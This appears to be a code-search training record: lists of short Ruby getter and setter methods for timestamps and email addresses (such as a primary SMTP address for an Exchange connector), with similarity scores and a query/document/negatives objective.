"def last_sftp_login_at\n @attributes[:last_sftp_login_at]\n end",
"def last_updated_at\n if cache\n @last_updated_at ||= remote_last_updated_at\n else\n remote_last_updated_at\n end\n end",
"def last\n return sync { @last }\n end",
"def last_modified\n @metadata[:last_modified] || Time.now.utc\n end",
"def last_updated\n self.dig_for_datetime(\"lastUpdateOn\")\n end",
"def last_contacted\n object.channels.where(is_private: true).first.last_message_time\n end",
"def last_fetch\n datetime_from(\"sf:last_fetch\")\n end",
"def latest_restorable_time\n data[:latest_restorable_time]\n end",
"def latest_restorable_time\n data[:latest_restorable_time]\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_entry_time\n last_entry = db.last_entry_temp.flatten.first\n last_entry ? Time.at(last_entry) : nil\n end",
"def last_modified_date_time\n return @last_modified_date_time\n end",
"def last_operation_time\n last_operation['time'].to_i\n end",
"def get_last_sync_times(sync_data, remote_path)\n\n # get our last push and pull times\n push_last = sync_data[\"push\"][remote_path]\n pull_last = sync_data[\"pull\"][remote_path]\n\n if push_last\n\n push_last_local = push_last[0]\n push_last_remote = push_last[1]\n else\n\n push_last_local = nil\n push_last_remote = nil\n end\n\n if pull_last\n \n pull_last_local = pull_last[0]\n pull_last_remote = pull_last[1]\n else\n\n pull_last_local = nil\n pull_last_remote = nil\n end\n\n return Hash[\"push_last_local\" => push_last_local,\n \"push_last_remote\" => push_last_remote,\n \"pull_last_local\" => pull_last_local,\n \"pull_last_remote\" => pull_last_remote]\n end",
"def last_ftp_login_at\n @attributes[:last_ftp_login_at]\n end",
"def last_time\n last = entries.order(Sequel.desc(:time)).first\n if last.nil?\n last_checked\n else\n last.time\n end\n end",
"def last_delivered_date_time\n return @last_delivered_date_time\n end",
"def touch_sync\n self.lastSyncAt = Time.now if self.respond_to?(:lastSyncAt=)\n end",
"def last_seen_date_time\n return @last_seen_date_time\n end",
"def last_seen_date_time\n return @last_seen_date_time\n end",
"def last_seen_date_time\n return @last_seen_date_time\n end",
"def last_dav_login_at\n @attributes[:last_dav_login_at]\n end",
"def last_update\n Time._load(index_time_dbm_file['last']) rescue \"none\"\n end",
"def last_written\n wtime = (@cred_struct[:last_written][:dw_high_date_time] << 32) +\n (@cred_struct[:last_written][:dw_low_date_time])\n Time.at((wtime - 116444736000000000) / 10000000)\n end",
"def date_of_last_comment\n last_comment = Comment.last_comment(self)\n if !last_comment.nil?\n last_comment.created_at.to_s(:custom_datetime)\n end\n end",
"def last_polled_at\n Time.now\n end",
"def last_written_at\n entry = read(1).first\n entry.time if entry\n end",
"def last_updated\n\t\tupdated_at\n\tend",
"def history_end_dt\n @parent.last_updated_dt\n end",
"def last_edited_time\n begin\n $redis.hget 'last_edit:instrument', self.id\n rescue\n nil\n end\n end",
"def last_modified_at\n as_time(rpc(:account_info, _access: :modified_timestamp))\n end",
"def last_modified\n @resource.last_modified\n end",
"def LastUpdateTime()\r\n ret = _getproperty(1610743810, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end",
"def last_backup_at\n @last_backup_at ||= Time.now\n end",
"def last_timetable_datetime_with_zone\n TimetableFileInfo.last.last_modified\n end",
"def datetime_stamp\n Time.now.utc.iso8601\n end",
"def last_seen_at\n @data[:last_seen_at]\n end",
"def getlastmodified\n if !record.nil? and record.respond_to? :updated_at\n record.updated_at.httpdate\n end\n end",
"def last_update_date_time=(value)\n @last_update_date_time = value\n end",
"def last_update_date_time=(value)\n @last_update_date_time = value\n end",
"def last_update_date_time=(value)\n @last_update_date_time = value\n end",
"def last_update_date_time=(value)\n @last_update_date_time = value\n end",
"def last_trade_time\n quote.last_trade_time\n end",
"def last_changed_at\n @last_changed_at ||= @changes.map { |c| c[:changed_at] }.max\n end",
"def last_updated_date_time=(value)\n @last_updated_date_time = value\n end",
"def last_updated_date_time=(value)\n @last_updated_date_time = value\n end",
"def last_updated_date_time=(value)\n @last_updated_date_time = value\n end",
"def last_updated_date_time=(value)\n @last_updated_date_time = value\n end",
"def last_maintenance_at\n datetime_from(\"sf:last_maintenance_at\")\n end",
"def LastUpdateTime()\r\n ret = @dispatch._getproperty(1610743810, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end",
"def reminder_date_time\n return @reminder_date_time\n end",
"def last_login_at\n @attributes[:last_login_at]\n end",
"def remote_last_updated_at\n require 'rexml/document'\n doc = REXML::Document.new(request('update'))\n Time.iso8601(doc.root.attributes['time'])\n end",
"def last_modified_time\n mtime\n end",
"def last_action_date_time\n return @last_action_date_time\n end"
] |
[
"0.7915699",
"0.7860247",
"0.7860247",
"0.6972501",
"0.6902577",
"0.6729315",
"0.67265815",
"0.6575168",
"0.6575168",
"0.6575168",
"0.6575168",
"0.6548952",
"0.6548952",
"0.6548952",
"0.6548952",
"0.6532987",
"0.6531283",
"0.6392493",
"0.6392342",
"0.6391455",
"0.6389689",
"0.6311912",
"0.62736976",
"0.62525153",
"0.6227597",
"0.6227597",
"0.6214489",
"0.6210222",
"0.6210222",
"0.6210222",
"0.61747205",
"0.6155729",
"0.60961926",
"0.6082183",
"0.60797095",
"0.6067369",
"0.60615176",
"0.6040778",
"0.6037639",
"0.6037639",
"0.6032641",
"0.6032641",
"0.6032641",
"0.6032641",
"0.6032641",
"0.6032641",
"0.6032641",
"0.6032641",
"0.6032641",
"0.6032641",
"0.6032641",
"0.6032641",
"0.6032641",
"0.6032641",
"0.6024872",
"0.5966218",
"0.5957296",
"0.59566736",
"0.59265226",
"0.59003735",
"0.5897862",
"0.5887092",
"0.5871976",
"0.5871976",
"0.5871976",
"0.58542246",
"0.5852351",
"0.58515805",
"0.5837565",
"0.58276284",
"0.58179784",
"0.5808115",
"0.57652026",
"0.57621926",
"0.5748461",
"0.57443607",
"0.574421",
"0.57053113",
"0.5699853",
"0.5699586",
"0.5689094",
"0.567967",
"0.5665682",
"0.5665682",
"0.5665682",
"0.5665682",
"0.56646895",
"0.56636405",
"0.5655097",
"0.5655097",
"0.5655097",
"0.5655097",
"0.5641992",
"0.56330526",
"0.56312484",
"0.5628064",
"0.5595068",
"0.55599356",
"0.55580276"
] |
0.867225
|
1
|
Sets the lastSyncDateTime property value. Last sync time for the Exchange Connector
|
def last_sync_date_time=(value)
@last_sync_date_time = value
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def touch_sync\n self.lastSyncAt = Time.now if self.respond_to?(:lastSyncAt=)\n end",
"def last_sync_date_time\n return @last_sync_date_time\n end",
"def last_sync_date_time\n return @last_sync_date_time\n end",
"def last_sync\n time_parser(self[:last_sync])\n end",
"def microsoft_store_for_business_last_successful_sync_date_time=(value)\n @microsoft_store_for_business_last_successful_sync_date_time = value\n end",
"def microsoft_store_for_business_last_completed_application_sync_time=(value)\n @microsoft_store_for_business_last_completed_application_sync_time = value\n end",
"def tsync=(value)\n set_attr(:tsync, value ? 1 : 0)\n @tsync = value\n end",
"def last_update_date_time=(value)\n @last_update_date_time = value\n end",
"def last_update_date_time=(value)\n @last_update_date_time = value\n end",
"def last_update_date_time=(value)\n @last_update_date_time = value\n end",
"def last_update_date_time=(value)\n @last_update_date_time = value\n end",
"def stamp_sync_remote_user(t)\n machine = RemoteMachine.find(session[:machine].id)\n machine.last_synced = t || -1\n machine.update\n rescue => e\n raise \"Error assigning new last_synced timestamp. #{e.inspect}\"\n end",
"def last_updated_date_time=(value)\n @last_updated_date_time = value\n end",
"def last_updated_date_time=(value)\n @last_updated_date_time = value\n end",
"def last_updated_date_time=(value)\n @last_updated_date_time = value\n end",
"def last_updated_date_time=(value)\n @last_updated_date_time = value\n end",
"def last_refresh_time=(value)\n @last_refresh_time = value\n end",
"def last_synchronize\n last_update\n end",
"def sync_success(timestamp = Time.now)\n logger.debug \"#{self} sync success\"\n self.last_sync = timestamp\n save!\n end",
"def microsoft_store_for_business_last_successful_sync_date_time\n return @microsoft_store_for_business_last_successful_sync_date_time\n end",
"def last_heartbeat_date_time=(value)\n @last_heartbeat_date_time = value\n end",
"def last_heartbeat_date_time=(value)\n @last_heartbeat_date_time = value\n end",
"def sync=(arg0)\n end",
"def set_update_time(time = last_modified_date)\n self.last_updated__c = ((last_updated__c and time < last_updated__c) ? last_updated__c : time) # fails migration ?\n# self.last_updated__c = self.last_modified_date # for migration\n end",
"def setLastFetch(aTime)\n last_fetch = aTime\n end",
"def socket_sync=(socket_sync)\n @session_manager.socket_sync = socket_sync\n end",
"def last_modified_date_time=(value)\n @last_modified_date_time = value\n end",
"def last_modified_date_time=(value)\n @last_modified_date_time = value\n end",
"def last_modified_date_time=(value)\n @last_modified_date_time = value\n end",
"def last_modified_date_time=(value)\n @last_modified_date_time = value\n end",
"def last_modified_date_time=(value)\n @last_modified_date_time = value\n end",
"def last_modified_date_time=(value)\n @last_modified_date_time = value\n end",
"def last_modified_date_time=(value)\n @last_modified_date_time = value\n end",
"def last_modified_date_time=(value)\n @last_modified_date_time = value\n end",
"def last_modified_date_time=(value)\n @last_modified_date_time = value\n end",
"def last_modified_date_time=(value)\n @last_modified_date_time = value\n end",
"def last_modified_date_time=(value)\n @last_modified_date_time = value\n end",
"def last_modified_date_time=(value)\n @last_modified_date_time = value\n end",
"def last_modified_date_time=(value)\n @last_modified_date_time = value\n end",
"def last_modified_date_time=(value)\n @last_modified_date_time = value\n end",
"def last_modified_date_time=(lastModifiedDateTime)\n @last_modified_date_time = lastModifiedDateTime\n end",
"def set_updated_at\n if able_to_set_updated_at?\n self.updated_at = Time.configured.now unless updated_at_changed?\n end\n\n clear_timeless_option\n end",
"def google_account_block_auto_sync=(value)\n @google_account_block_auto_sync = value\n end",
"def setLast(last)\n @last = last\n end",
"def last_reported_date_time=(value)\n @last_reported_date_time = value\n end",
"def synchronization=(value)\n @synchronization = value\n end",
"def last_seen_date_time=(value)\n @last_seen_date_time = value\n end",
"def last_seen_date_time=(value)\n @last_seen_date_time = value\n end",
"def last_seen_date_time=(value)\n @last_seen_date_time = value\n end",
"def set_sync_token\n self.sync_token = OaUtils::generate_random_key[0..7]\n end",
"def set_last_login\n self.update_attributes(:last_login_at => Time.now.utc)\n end",
"def set_last_active_at\n self.last_active_at = Time.now\n end",
"def set_sync_setting\n @sync_setting = SyncSetting.find(params[:id])\n end",
"def set_update_time!(time = last_modified_date)\n set_update_time(time)\n # disable_ferret\n save\n return last_updated__c\n end",
"def last_delivered_date_time=(value)\n @last_delivered_date_time = value\n end",
"def microsoft_store_for_business_last_completed_application_sync_time\n return @microsoft_store_for_business_last_completed_application_sync_time\n end",
"def calendar_sync_enabled=(value)\n @calendar_sync_enabled = value\n end",
"def set_sync_status\n sync_status = ActiveModel::Type::Boolean.new.cast(directory_listing_params[:sync_status])\n if sync_status.nil?\n @directory_listing.update(sync_status: true)\n else\n @directory_listing.update(sync_status: sync_status)\n end\n end",
"def last_action_date_time=(value)\n @last_action_date_time = value\n end",
"def set_calendar_sync\n @calendar_sync = CalendarSync.find(params[:id])\n end",
"def crl_last_update=(time)\n Puppet::FileSystem.touch(@crlpath, mtime: time)\n end",
"def sync\n @sync ||= Sync.new self\n end",
"def sync\n @sync ||= Sync.new self\n end",
"def sync_reset\n self.last_sync = DUMMY_TIMESTAMP\n self.err_count = 0\n self.err_msg = ''\n end",
"def after_sync\n end",
"def i_cloud_block_photo_stream_sync=(value)\n @i_cloud_block_photo_stream_sync = value\n end",
"def reset_lastsync_pc\n PiLib .dlp_ResetLastSyncPC(@sd)\n return self\n end",
"def sync=(value)\n\t\t\t\tsuper\n\t\t\t\t\n\t\t\t\tcase self.protocol\n\t\t\t\twhen 0, IPPROTO_TCP\n\t\t\t\t\tself.setsockopt(IPPROTO_TCP, TCP_NODELAY, value ? 1 : 0)\n\t\t\t\telse\n\t\t\t\t\tConsole.logger.warn(self) {\"Unsure how to sync=#{value} for #{self.protocol}!\"}\n\t\t\t\tend\n\t\t\trescue Errno::EINVAL\n\t\t\t\t# On Darwin, sometimes occurs when the connection is not yet fully formed. Empirically, TCP_NODELAY is enabled despite this result.\n\t\t\trescue Errno::EOPNOTSUPP\n\t\t\t\t# Some platforms may simply not support the operation.\n\t\t\t\t# Console.logger.warn(self) {\"Unable to set sync=#{value}!\"}\n\t\t\tend",
"def stamp\n @options[:last_received_time] = Time.now\n self\n end",
"def i_cloud_block_document_sync=(value)\n @i_cloud_block_document_sync = value\n end",
"def last_synchronization\n HasRemote::Synchronization.for(self.name).last\n end",
"def contact_sync=(contact_sync)\n validator = EnumAttributeValidator.new('String', [\"FL\", \"LF\", \"CFL\", \"CLF\"])\n unless validator.valid?(contact_sync)\n fail ArgumentError, \"invalid value for 'contact_sync', must be one of #{validator.allowable_values}.\"\n end\n @contact_sync = contact_sync\n end",
"def after_sync(chdir: true, &block)\n @after_sync_hook = Hook.new(block, chdir)\n end",
"def sync_time(time)\n Time.local(self.dt.year, self.dt.mon, self.dt.mday, time.hour, time.min, time.sec)\n end",
"def sync_timezone_changes(raw_connection)\n end",
"def sent_date_time=(value)\n @sent_date_time = value\n end",
"def set_default_end_time\n if self.contact_end_time.blank? && self.contact_date_date == Date.today\n self.contact_end_time = Time.now.strftime(\"%H:%M\")\n end\n end",
"def set_LastModifiedTime(value)\n set_input(\"LastModifiedTime\", value)\n end",
"def set_LastModifiedTime(value)\n set_input(\"LastModifiedTime\", value)\n end",
"def update_last_activity!\n if respond_to?(:update_column)\n self.update_column(:last_activity_at, Time.now.utc)\n elsif defined? Mongoid\n self.update_attribute(:last_activity_at, Time.now.utc)\n end\n end",
"def set_updated!\n @updated_at = Time.now\n end",
"def sync=(p1)\n #This is a stub, used for indexing\n end",
"def set_client_sync\n @client_sync = ClientSync.where(id: params[:id]).first\n client_sync_hash()\n end",
"def last_updated_at\n @last_updated_at\n end",
"def last_time\n @last_time\n end",
"def mark_changed\n self.last_changed = Time.now\n end",
"def set_date_time=(date_time)\n\t\t@date_time=DateTime.now\n\tend",
"def remote_sync_interval\n @attributes[:remote_sync_interval]\n end",
"def last_backup_at\n @last_backup_at ||= Time.now\n end",
"def sync=(sync)\n if sync\n @target_stream.sync = true\n MiniTest::Unit.output = @target_stream\n end\n\n super\n end",
"def sync=\n end",
"def set_last_use!\n @last_use = Time.now\n end",
"def i_cloud_block_managed_apps_sync=(value)\n @i_cloud_block_managed_apps_sync = value\n end",
"def sync_with(syncer, &block)\n @syncers << Backup::Syncer.const_get(\n last_constant(syncer)\n ).new(&block)\n end",
"def last_modified=(time)\n headers[Merb::Const::LAST_MODIFIED] = time.httpdate\n end",
"def last_modified=(time)\n # Is this correct?\n raise NotImplemented\n end",
"def last_modified=(time)\n # Is this correct?\n raise NotImplemented\n end",
"def salesforce_updated_at=(updated_at)\n updated_at = Time.parse(updated_at) if updated_at.present? && updated_at.kind_of?(String)\n write_attribute(:salesforce_updated_at, updated_at)\n end",
"def set_contacted\n self.contacted = true\n self.original_contact_date = Time.now if self.original_contact_date.nil?\n self.last_contact_date = Time.now\n end"
] |
[
"0.7119943",
"0.7007755",
"0.7007755",
"0.68468606",
"0.6657463",
"0.6463483",
"0.6082793",
"0.6023053",
"0.6023053",
"0.6023053",
"0.6023053",
"0.59991693",
"0.5976521",
"0.5976521",
"0.5976521",
"0.5976521",
"0.5809811",
"0.5710855",
"0.55419606",
"0.5519664",
"0.54982364",
"0.54982364",
"0.5491166",
"0.5435251",
"0.54109305",
"0.5393156",
"0.5391708",
"0.5391708",
"0.5391708",
"0.5391708",
"0.5391708",
"0.5391708",
"0.5391708",
"0.5391708",
"0.5391708",
"0.5391708",
"0.5391708",
"0.5391708",
"0.5391708",
"0.5391708",
"0.53836423",
"0.53768784",
"0.5371711",
"0.53688514",
"0.5333779",
"0.5332876",
"0.5328751",
"0.5328751",
"0.5328751",
"0.52882",
"0.523414",
"0.5206664",
"0.5181018",
"0.51730096",
"0.51519537",
"0.5132024",
"0.512121",
"0.51192087",
"0.51071227",
"0.5103805",
"0.50865",
"0.5084377",
"0.5084377",
"0.50832504",
"0.505189",
"0.50372076",
"0.5018009",
"0.50038034",
"0.4993359",
"0.49805138",
"0.49522224",
"0.49494848",
"0.4935338",
"0.49254006",
"0.49228624",
"0.49057868",
"0.49014017",
"0.4879632",
"0.4879632",
"0.48531455",
"0.48476556",
"0.48371774",
"0.48250136",
"0.48202243",
"0.48184058",
"0.4816156",
"0.48160037",
"0.4813461",
"0.48083225",
"0.48064137",
"0.47820652",
"0.47816315",
"0.47798684",
"0.47516295",
"0.4745941",
"0.47283515",
"0.47283515",
"0.47268766",
"0.47238156"
] |
0.8358758
|
1
|
Gets the primarySmtpAddress property value. Email address used to configure the Service To Service Exchange Connector.
|
def primary_smtp_address
return @primary_smtp_address
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def primary_smtp_address=(value)\n @primary_smtp_address = value\n end",
"def primary_email\n if self[\"gd$email\"]\n _email = self[\"gd$email\"].find { |e| e.primary == \"true\" }\n _email ? _email.address : nil\n else\n nil # no emails at all\n end\n end",
"def primary_email\n primary_email_object = emails.find_by(is_primary: true)\n return if primary_email_object.blank?\n\n primary_email_object.address\n end",
"def email\n multi_email.primary_email_record.try(:email)\n end",
"def email_address\n return @email_address\n end",
"def email_address\n return @email_address\n end",
"def contact_email\n\t\treturn get_configuration['sa_contact_email']\n\tend",
"def email_address\n (email_addresses.where(primary: true).first || email_addresses.first).try(:email) ||\n current_address.try(:email) ||\n permanent_address.try(:email) ||\n user.try(:username)\n end",
"def primary_email\n primary_contacts(emails, :email_rank_code, &:first)\n end",
"def contact_email\n return @contact_email\n end",
"def email_address\n authentications.emails.active.first.uid rescue nil\n end",
"def email\n\t\tif self.email_address\n\t\t\tself.email_address.email\n\t\telse\n\t\t\tself.user.email\n\t\tend\n\tend",
"def email_address\n raw_info['email_addresses'] && raw_info['email_addresses'].first\n end",
"def email\n return Contact.get_default_email self.id\n end",
"def email\n @net_ldap_entry[:mail].first\n end",
"def email\n pull unless @details\n begin\n return @details.email_address.address\n rescue\n return nil\n end\n end",
"def recipient_email\n return @recipient_email\n end",
"def recipient_email\n return @recipient_email\n end",
"def email_address\n @data['emailAddress']\n end",
"def email_address\n get_attribute(Yoti::Attribute::EMAIL_ADDRESS)\n end",
"def email\n mail.first\n end",
"def email\n mail.first\n end",
"def primary_address\n \"[PRIMARY_ADDRESS]\"\n end",
"def sms_email_address\n carrier.sms_email_address(self) if carrier\n end",
"def address\n @address ||= Mail::Address.new(self.to_s) rescue nil\n end",
"def email\n return unless @user.loa3?\n\n value_for('emails')&.first\n end",
"def email\n return @email\n end",
"def email\n return @email\n end",
"def email\n self[:emailAddress]\n end",
"def email\n preferred_email\n end",
"def device_account_email\n return @device_account_email\n end",
"def get_email_address\n response = get_current_user_meta('email')\n email = response['query']['userinfo']['email']\n return if email == ''\n\n email\n end",
"def to_email_address\n @to_email_address\n end",
"def official_email\n @net_ldap_entry[:berkeleyeduofficialemail].first\n end",
"def email\n if md = RE_EMAIL.match(contact.to_s)\n md[0]\n else\n nil\n end\n end",
"def to_email_address\n @to_email_address\n end",
"def email\n # If product_specific_contacts is off, always return the facility's email\n return facility.email unless SettingsHelper.feature_on? :product_specific_contacts\n contact_email.presence || facility.try(:email)\n end",
"def setup_recipients( email )\r\n if RAILS_ENV == 'production'\r\n return email\r\n else\r\n return AppConfig.DEBUG_EMAIL_ADDRESS\r\n end\r\n end",
"def hubssolib_get_user_address\n user = self.hubssolib_current_user\n user ? user.user_email : nil\n end",
"def email\n if @data.attribute_names.include?(:cmupreferredmail)\n @email ||= @data[:cmupreferredmail].last\n else\n @email ||= @data[:mail].last\n end\n end",
"def email\n @maintainers.first['email']\n end",
"def email_address\n element_with_value('EMailAddress', opts[:email_address].to_s[0..50])\n end",
"def sender_address\n @sender_address || ''\n end",
"def from_email\n EmailAddress.find(:all).first\n end",
"def sender_email\n msg['from_email'] || msg['sender'] || entry['sender'] || reject['sender']\n end",
"def me_user_email\n email = Email.find_primary(me).take if auth?\n email.email || ''\n end",
"def email\n\t\treturn @email\n\tend",
"def investor_email_address\n return self.user_company_info.blank? ? self.email : self.user_company_info.business_email\n end",
"def primary_mailing_address\n mailing_address_type_code = Address.mailing_address_type.to_i\n\n primary_contacts(addresses, :address_rank_code) do |ts|\n ts.detect { |t| t.address_type_code == mailing_address_type_code }\n end\n end",
"def email\n if self[:email] && !@email_name\n self[:email]\n elsif self.email_name && self.email_domain\n self[:email] = \"#{self.email_name}@#{self.email_domain}\"\n end\n end",
"def cc_email_address\n @cc_email_address\n end",
"def mailer_to\n resolve_value(_notification_email)\n end",
"def email\n (@session[:current_user_details] || {})[:email]\n end",
"def email\n get_attribute('Email')\n end",
"def email_address\n api(\"EmailAddress\")\n end",
"def app_email\n dflt = Rails.application.routes.url_helpers.contact_us_url || ''\n Rails.configuration.x.organisation.fetch(:helpdesk_email, dflt)\n end",
"def subscribed_email\n !@changes.old_email.blank? ? @changes.old_email : @record.email\n end",
"def cc_email_address\n @cc_email_address\n end",
"def from_address\n site.email_from_address || site.support_email\n end",
"def email_address\n self.dig_for_string(\"agentSummary\", \"emailAddress\")\n end",
"def email\n @attributes[:email]\n end",
"def email\n @attributes[:email]\n end",
"def email\n @attributes[:email]\n end",
"def email\n @attributes[:email]\n end",
"def email\n # logger.debug2 \"email = #{read_attribute(:email)} (#{read_attribute(:email).class.name})\"\n share_account_id = new_encrypt_pk unless share_account_id\n return nil unless (extended_email = read_attribute(:email))\n encrypt_remove_pre_and_postfix(extended_email, 'email', 49)\n end",
"def email\n connect\n user = self.class.query('CMD_API_SHOW_USER_CONFIG',\n :user => resource[:username]\n )\n return user[\"email\"]\n end",
"def email\n attributes['email']\n end",
"def office_email_address\n self.dig_for_string(\"agentSummary\", \"office\", \"emailAddress\")\n end",
"def email(value)\n merge(email: value.to_s)\n end",
"def email_address\n response = get 'v1/market/private/user/email.json'\n response[:email]\n end",
"def recipient_email=(value)\n @recipient_email = value\n end",
"def recipient_email=(value)\n @recipient_email = value\n end",
"def email_address=(value)\n @email_address = value\n end",
"def email_address=(value)\n @email_address = value\n end",
"def admin_email(e=nil)\n return @admin_email unless e\n @admin_email = e\n end",
"def get_text_address()\n\t\temail = self.phoneNumber.to_s + self.provider\n\t\treturn email\n end",
"def assignee_email\n \tself.assignee.email if self.assignee\n end",
"def mail_from\n if @yaml[\"mail\"][\"from\"] != \"example@example.com\"\n return @yaml[\"mail\"][\"from\"]\n end\n end",
"def contact_email\n TESTING_EMAIL || @comment[:email]\n end",
"def contact_email\n contact['email_address']\n end",
"def email\n self.user.try(:email) || self.original_email\n end",
"def email\n self.user.try(:email) || self.original_email\n end",
"def contact_email\n self.contact[:contact_email]\n end",
"def lead_email_address\n self.dig_for_string(\"agentSummary\", \"leadEmailAddress\")\n end",
"def get_user_email\n useremail[:value]\n end",
"def email\n @email ||= select { |type,value| type == :email }.map do |(type,value)|\n value\n end\n end",
"def admin_email\n ContactMailer.admin_email\n end",
"def return_email_domain \n return \"@\" + self.email.split('@')[1]\n end",
"def first_email_sent_to(recipient)\n self.current_email = emails_sent_to(recipient).last\n end",
"def default_sender_address\n address = Mail::Address.new(Gitlab.config.gitlab.email_from)\n address.display_name = \"GitLab\"\n address\n end",
"def contact_email=(value)\n @contact_email = value\n end",
"def email\n user.emails.where( email: self.email_id ).first\n end",
"def email\n result_record = default_email_record\n default_email_record.email if result_record\n end",
"def email\n result_record = default_email_record\n default_email_record.email if result_record\n end",
"def email_address\n require \"mail\"\n address = Mail::Address.new email\n address.display_name = name.dup\n address.format\n end",
"def email\n if read_attribute(:active) == 1\n if Rails.env.development?\n self.first_name + \" \" + self.last_name + \" <dtg_ror_devel@lists.teradyne.com>\"\n else\n read_attribute(:email)\n end\n else\n \"\"\n end\n end",
"def get_useremail()\n email = nil\n git_user_email = %x(git config user.email).strip\n email = git_user_email if git_user_email\n email\n end",
"def mailboxer_email(object)\n return email\n end",
"def email\n find_by_type('email')\n end",
"def get_user_email\n user = User.find(self.user_id)\n user.email\n end"
] |
[
"0.80906755",
"0.7948383",
"0.75476915",
"0.72918814",
"0.70493823",
"0.70493823",
"0.7038114",
"0.693751",
"0.6845316",
"0.67926806",
"0.6736705",
"0.6719018",
"0.6700408",
"0.6683979",
"0.66341615",
"0.65925944",
"0.65800893",
"0.65800893",
"0.6552944",
"0.6537063",
"0.6522923",
"0.6522923",
"0.64616734",
"0.6456345",
"0.6360256",
"0.63574845",
"0.6351512",
"0.6351512",
"0.6347474",
"0.63378984",
"0.6235686",
"0.6227921",
"0.62164044",
"0.6201753",
"0.6187478",
"0.61809653",
"0.6173827",
"0.6161655",
"0.61442536",
"0.609775",
"0.607222",
"0.60495853",
"0.6036272",
"0.603036",
"0.60153186",
"0.6007184",
"0.59946465",
"0.5989548",
"0.5959935",
"0.5899449",
"0.587389",
"0.5862021",
"0.58600235",
"0.5855333",
"0.58538",
"0.5849088",
"0.5844548",
"0.5836238",
"0.58098394",
"0.5808498",
"0.5804926",
"0.5804926",
"0.5804926",
"0.5804926",
"0.5802342",
"0.5799052",
"0.5796777",
"0.57809377",
"0.5778197",
"0.5772597",
"0.57659507",
"0.57659507",
"0.5758384",
"0.5758384",
"0.5747956",
"0.57195765",
"0.57136405",
"0.5710144",
"0.57068914",
"0.57043093",
"0.5697148",
"0.5697148",
"0.56906354",
"0.5690051",
"0.56894356",
"0.5684142",
"0.56815046",
"0.5673813",
"0.56726813",
"0.5672322",
"0.56700164",
"0.5661194",
"0.5647607",
"0.5647607",
"0.56446016",
"0.5637841",
"0.560892",
"0.56029236",
"0.55617505",
"0.5561202"
] |
0.875464
|
0
|
Sets the primarySmtpAddress property value. Email address used to configure the Service To Service Exchange Connector.
|
def primary_smtp_address=(value)
@primary_smtp_address = value
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def primary_smtp_address\n return @primary_smtp_address\n end",
"def primary_email\n if self[\"gd$email\"]\n _email = self[\"gd$email\"].find { |e| e.primary == \"true\" }\n _email ? _email.address : nil\n else\n nil # no emails at all\n end\n end",
"def primary_email\n primary_email_object = emails.find_by(is_primary: true)\n return if primary_email_object.blank?\n\n primary_email_object.address\n end",
"def email_address=(value)\n @email_address = value\n end",
"def email_address=(value)\n @email_address = value\n end",
"def set_next_email_as_primary\n return false unless default_email_record\n\n default_email_record.update_attributes(primary: true)\n end",
"def set_next_email_as_primary\n return false unless default_email_record\n\n default_email_record.update_attributes(primary: true)\n end",
"def set_from_email_address\n self.from_user_email ||= Settings::NotificationsFromEmail || user&.email\n end",
"def email=(new_email)\n multi_email.change_primary_email_to(new_email, allow_unconfirmed: true)\n end",
"def contact_email=(value)\n @contact_email = value\n end",
"def email=(new_email)\n multi_email.change_primary_email_to(new_email, allow_unconfirmed: unconfirmed_access_possible?)\n end",
"def primary_email_address=(email)\n old_primaries = email_addresses.select { |email| email.primary == true }\n old_primaries.each do |old_primary|\n old_primary.primary = 0\n old_primary.save!\n end\n\n old_email_record = email_addresses.select { |email_record| email_record.email == email }.first\n if old_email_record\n old_email_record.primary = 1\n old_email_record.save!\n else\n EmailAddress.create!(email: email, person_id: id, primary: 1)\n end\n end",
"def recipient_email=(value)\n @recipient_email = value\n end",
"def recipient_email=(value)\n @recipient_email = value\n end",
"def primary_email\n primary_contacts(emails, :email_rank_code, &:first)\n end",
"def email=(value)\n self.from_email = value\n end",
"def set_person_email_address\n @person_email_address = PersonEmailAddress.find(params[:id])\n end",
"def email_set(address)\n self.email.set address\n end",
"def email\n multi_email.primary_email_record.try(:email)\n end",
"def email_address\n (email_addresses.where(primary: true).first || email_addresses.first).try(:email) ||\n current_address.try(:email) ||\n permanent_address.try(:email) ||\n user.try(:username)\n end",
"def set_contact_email email\n contact_email_tb.type_text email\n end",
"def unset_primary_email\n return true unless default_email_record\n\n default_email_record.update_attributes(primary: false)\n end",
"def unset_primary_email\n return true unless default_email_record\n\n default_email_record.update_attributes(primary: false)\n end",
"def email=(s)\n pull unless @details\n @details.email_address = s\n end",
"def set_email(email = nil, email_selector = nil, ldap_lookup = nil)\n self.email = email || []\n if email_selector\n # Get the primary email address from the address list\n self.primary_email = email_selector.email(self.email)\n # Get the username from the primary email address\n if ldap_lookup and self.primary_email\n self.username = ldap_lookup.find(self.primary_email)\n else\n self.username = nil\n end\n else\n self.primary_email = nil\n self.username = nil\n end\n end",
"def sms_email_address\n carrier.sms_email_address(self) if carrier\n end",
"def contact_email\n\t\treturn get_configuration['sa_contact_email']\n\tend",
"def primary_address\n \"[PRIMARY_ADDRESS]\"\n end",
"def email=(email)\n record = default_email_record\n if email\n record ||= emails.build\n record.email = email\n record.primary = true\n elsif email.nil? && record\n record.mark_for_destruction\n end\n end",
"def email=(email)\n record = default_email_record\n if email\n record ||= emails.build\n record.email = email\n record.primary = true\n elsif email.nil? && record\n record.mark_for_destruction\n end\n end",
"def set_EmailAddress(value)\n set_input(\"EmailAddress\", value)\n end",
